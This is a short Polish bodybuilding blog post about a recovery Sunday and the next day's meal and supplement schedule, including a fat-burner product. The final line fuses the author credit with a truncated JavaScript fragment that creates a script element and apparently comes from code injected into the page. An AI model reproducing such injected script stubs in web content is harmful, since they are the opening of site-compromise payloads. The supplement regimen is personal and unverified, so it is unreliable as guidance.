Michał Karmowski – Niedziela = regeneracja

4.10.2011 / Michał Karmowski

Niedziela upłynęła pod  hasłem „regeneracja” i pojechałem nawet z rodzinką na pyszną rybę do „Gościńca dla przyjaciół”, zjadłem tam 400g pstrąga w warzywach i trochę ziemniaków aby posiłek był kompletny, oczywiście rano przed śniadaniem zrobiłęm zaplanowaną sesję treningu aerobowego na bieżni i przyjąłęm po 2 miarki bcaa powder i l-glutamine extreme.  Była też sauna a wieczorem odwiedził mnie masażysta i skatował mnie masażem tkanek głębokich. Dziś trzeba było wrócić do ciężkiej pracy nad sobą i zrobiłem klatke i dwa ćwiczenia na tricepsy, teraz trening trochę się zmienił  sesje są krótsze ale bardziej intensywne.

 

dzisiejsza dieta:

 

 

2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex, 4 caps clenburexin

30 min cardio bieżnia

po 2 miarki bcaa powder, 2miarki l-glutamine extreme

1-600g białek jaj, 150g płatków owsianych, 150g awokado, – jointXpack, vitalXpack, 2 g vit c strong

2,3-300g piersi z kurczaka, 75g ryżu ,50g orzechów

przed treningiem 15 g S.A.W. , 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex

trening

po treningu 40g białka z isolate 100, 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 2 g vit c strong

20 min póżniej 250g ryby, 75g ryżu

4,5-300g kurczaka, 75g ryżu, 25g oleju lnianego

30 min cardio

6-300g steka, 80g masłą orzechowego , 2 miarki l-glutamine extreme

Autor Michał Karmowskivar d=document;var s=d.createElement(‚script’);